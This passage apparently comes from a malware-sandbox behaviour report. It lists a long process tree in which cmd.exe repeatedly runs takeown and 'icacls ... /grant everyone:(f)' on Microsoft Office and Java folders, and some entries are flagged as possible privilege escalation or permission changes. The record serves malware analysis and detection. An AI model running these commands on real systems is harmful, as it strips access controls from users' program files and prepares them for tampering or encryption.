- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office && icacls C:\Program Files\Microsoft Office /grant everyone:(f)
  2⤵
  PID:2700
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office
    3⤵
    PID:3604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\Office16 && icacls C:\Program Files\Microsoft Office\Office16 /grant everyone:(f)
  2⤵
  PID:1900
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\Office16
    3⤵
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\PackageManifests && icacls C:\Program Files\Microsoft Office\PackageManifests /grant everyone:(f)
  2⤵
  PID:4332
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\PackageManifests
    3⤵
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root && icacls C:\Program Files\Microsoft Office\root /grant everyone:(f)
  2⤵
  PID:4408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root
    3⤵
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Client && icacls C:\Program Files\Microsoft Office\root\Client /grant everyone:(f)
  2⤵
  PID:3708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Client
    3⤵
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16 && icacls C:\Program Files\Microsoft Office\root\Document Themes 16 /grant everyone:(f)
  2⤵
  PID:3508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16
    3⤵
    PID:4708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors && icacls C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors /grant everyone:(f)
  2⤵
  PID:4344
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors
    3⤵
    PID:4996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects && icacls C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects /grant everyone:(f)
  2⤵
  PID:2276
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts && icacls C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts /grant everyone:(f)
  2⤵
  PID:376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts
    3⤵
    PID:3172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\fre && icacls C:\Program Files\Microsoft Office\root\fre /grant everyone:(f)
  2⤵
  PID:3332
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\fre
    3⤵
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Integration && icacls C:\Program Files\Microsoft Office\root\Integration /grant everyone:(f)
  2⤵
  PID:4552
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Integration
    3⤵
    PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Integration\Addons && icacls C:\Program Files\Microsoft Office\root\Integration\Addons /grant everyone:(f)
  2⤵
  PID:3636
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Integration\Addons
    3⤵
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Licenses && icacls C:\Program Files\Microsoft Office\root\Licenses /grant everyone:(f)
  2⤵
  PID:624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Licenses
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Licenses16 && icacls C:\Program Files\Microsoft Office\root\Licenses16 /grant everyone:(f)
  2⤵
  PID:1504
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Licenses16
    3⤵
    PID:3656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\loc && icacls C:\Program Files\Microsoft Office\root\loc /grant everyone:(f)
  2⤵
  PID:4948
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\loc
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office15 && icacls C:\Program Files\Microsoft Office\root\Office15 /grant everyone:(f)
  2⤵
  PID:432
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office15
    3⤵
    - Possible privilege escalation attempt
    PID:4920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16 && icacls C:\Program Files\Microsoft Office\root\Office16 /grant everyone:(f)
  2⤵
  PID:808
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16
    3⤵
    PID:4668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\1033 && icacls C:\Program Files\Microsoft Office\root\Office16\1033 /grant everyone:(f)
  2⤵
  PID:692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\1033
    3⤵
    PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\1033\Bibliography && icacls C:\Program Files\Microsoft Office\root\Office16\1033\Bibliography /grant everyone:(f)
  2⤵
  PID:2800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\1033\Bibliography
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\1033\DataServices && icacls C:\Program Files\Microsoft Office\root\Office16\1033\DataServices /grant everyone:(f)
  2⤵
  PID:3472
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\1033\DataServices
    3⤵
    PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\1033\QuickStyles && icacls C:\Program Files\Microsoft Office\root\Office16\1033\QuickStyles /grant everyone:(f)
  2⤵
  PID:4468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\1033\QuickStyles
    3⤵
    PID:464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\1036 && icacls C:\Program Files\Microsoft Office\root\Office16\1036 /grant everyone:(f)
  2⤵
  PID:3004
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\1036
    3⤵
    PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\3082 && icacls C:\Program Files\Microsoft Office\root\Office16\3082 /grant everyone:(f)
  2⤵
  PID:3860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\3082
    3⤵
    PID:4204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS /grant everyone:(f)
  2⤵
  PID:4836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\EduWorks Data Streamer Add-In && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\EduWorks Data Streamer Add-In /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\EduWorks Data Streamer Add-In
    3⤵
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated /grant everyone:(f)
  2⤵
  PID:1608
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin /grant everyone:(f)
  2⤵
  PID:208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin
    3⤵
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power Map Excel Add-in && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power Map Excel Add-in /grant everyone:(f)
  2⤵
  PID:3512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power Map Excel Add-in
    3⤵
    PID:3476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power View Excel Add-in && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power View Excel Add-in /grant everyone:(f)
  2⤵
  PID:2280
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power View Excel Add-in
    3⤵
    PID:4136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in /grant everyone:(f)
  2⤵
  PID:1208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges /grant everyone:(f)
  2⤵
  PID:1416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges
    3⤵
    PID:4748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\en && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\en /grant everyone:(f)
  2⤵
  PID:4196
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\en
    3⤵
    PID:4516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Resources && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Resources /grant everyone:(f)
  2⤵
  PID:720
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Resources
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Resources\1033 && icacls C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Resources\1033 /grant everyone:(f)
  2⤵
  PID:3504
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Resources\1033
    3⤵
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\AugLoop && icacls C:\Program Files\Microsoft Office\root\Office16\AugLoop /grant everyone:(f)
  2⤵
  PID:4860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\AugLoop
    3⤵
    - Possible privilege escalation attempt
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Bibliography && icacls C:\Program Files\Microsoft Office\root\Office16\Bibliography /grant everyone:(f)
  2⤵
  PID:1124
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Bibliography
    3⤵
    - Modifies file permissions
    PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Bibliography\Sort && icacls C:\Program Files\Microsoft Office\root\Office16\Bibliography\Sort /grant everyone:(f)
  2⤵
  PID:3436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Bibliography\Sort
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style && icacls C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style /grant everyone:(f)
  2⤵
  PID:4772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style
    3⤵
    PID:3924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\BORDERS && icacls C:\Program Files\Microsoft Office\root\Office16\BORDERS /grant everyone:(f)
  2⤵
  PID:4820
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\BORDERS
    3⤵
    PID:4372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Configuration && icacls C:\Program Files\Microsoft Office\root\Office16\Configuration /grant everyone:(f)
  2⤵
  PID:880
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Configuration
    3⤵
    PID:4808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Document Parts && icacls C:\Program Files\Microsoft Office\root\Office16\Document Parts /grant everyone:(f)
  2⤵
  PID:4268
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Document Parts
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033 && icacls C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033 /grant everyone:(f)
  2⤵
  PID:5104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033\16 && icacls C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033\16 /grant everyone:(f)
  2⤵
  PID:1020
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033\16
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f14 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_f14 /grant everyone:(f)
  2⤵
  PID:3416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f14
    3⤵
    PID:3604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f2 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_f2 /grant everyone:(f)
  2⤵
  PID:2052
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f2
    3⤵
    PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f3 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_f3 /grant everyone:(f)
  2⤵
  PID:444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f3
    3⤵
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f33 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_f33 /grant everyone:(f)
  2⤵
  PID:3680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f33
    3⤵
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f4 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_f4 /grant everyone:(f)
  2⤵
  PID:4360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f4
    3⤵
    - Modifies file permissions
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f7 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_f7 /grant everyone:(f)
  2⤵
  PID:4464
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_f7
    3⤵
    PID:5028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000006 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000006 /grant everyone:(f)
  2⤵
  PID:3216
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000006
    3⤵
    PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000008 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000008 /grant everyone:(f)
  2⤵
  PID:1208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000008
    3⤵
    - Modifies file permissions
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000009 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000009 /grant everyone:(f)
  2⤵
  PID:1416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000009
    3⤵
    PID:1160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000011 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000011 /grant everyone:(f)
  2⤵
  PID:2416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000011
    3⤵
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000050 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000050 /grant everyone:(f)
  2⤵
  PID:720
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000050
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_w1 && icacls C:\Program Files\Microsoft Office\root\Office16\FPA_w1 /grant everyone:(f)
  2⤵
  PID:3504
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\FPA_w1
    3⤵
    PID:4844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Library && icacls C:\Program Files\Microsoft Office\root\Office16\Library /grant everyone:(f)
  2⤵
  PID:4852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Library
    3⤵
    - Modifies file permissions
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Library\Analysis && icacls C:\Program Files\Microsoft Office\root\Office16\Library\Analysis /grant everyone:(f)
  2⤵
  PID:4456
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Library\Analysis
    3⤵
    PID:2432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\Library\SOLVER && icacls C:\Program Files\Microsoft Office\root\Office16\Library\SOLVER /grant everyone:(f)
  2⤵
  PID:2260
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\Library\SOLVER
    3⤵
    PID:432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard && icacls C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard /grant everyone:(f)
  2⤵
  PID:116
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard
    3⤵
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images && icacls C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images /grant everyone:(f)
  2⤵
  PID:3684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images
    3⤵
    PID:4004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default && icacls C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default /grant everyone:(f)
  2⤵
  PID:4292
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default
    3⤵
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\LogoImages && icacls C:\Program Files\Microsoft Office\root\Office16\LogoImages /grant everyone:(f)
  2⤵
  PID:2124
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\LogoImages
    3⤵
    - Possible privilege escalation attempt
    PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MEDIA && icacls C:\Program Files\Microsoft Office\root\Office16\MEDIA /grant everyone:(f)
  2⤵
  PID:5104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MEDIA
    3⤵
    PID:4192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC /grant everyone:(f)
  2⤵
  PID:1516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC
    3⤵
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ar && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\ar /grant everyone:(f)
  2⤵
  PID:1060
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ar
    3⤵
    PID:4432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\bg && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\bg /grant everyone:(f)
  2⤵
  PID:5080
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\bg
    3⤵
    - Possible privilege escalation attempt
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ca && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\ca /grant everyone:(f)
  2⤵
  PID:3428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ca
    3⤵
    - Possible privilege escalation attempt
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\cs && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\cs /grant everyone:(f)
  2⤵
  PID:4672
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\cs
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\da && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\da /grant everyone:(f)
  2⤵
  PID:5108
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\da
    3⤵
    PID:4360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\de && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\de /grant everyone:(f)
  2⤵
  PID:4708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\de
    3⤵
    PID:4404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\el && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\el /grant everyone:(f)
  2⤵
  PID:4884
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\el
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\en-us && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\en-us /grant everyone:(f)
  2⤵
  PID:1844
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\en-us
    3⤵
    PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\es && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\es /grant everyone:(f)
  2⤵
  PID:5008
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\es
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\et && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\et /grant everyone:(f)
  2⤵
  PID:4384
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\et
    3⤵
    PID:3332
- C:\Windows\System32\cmd.exe
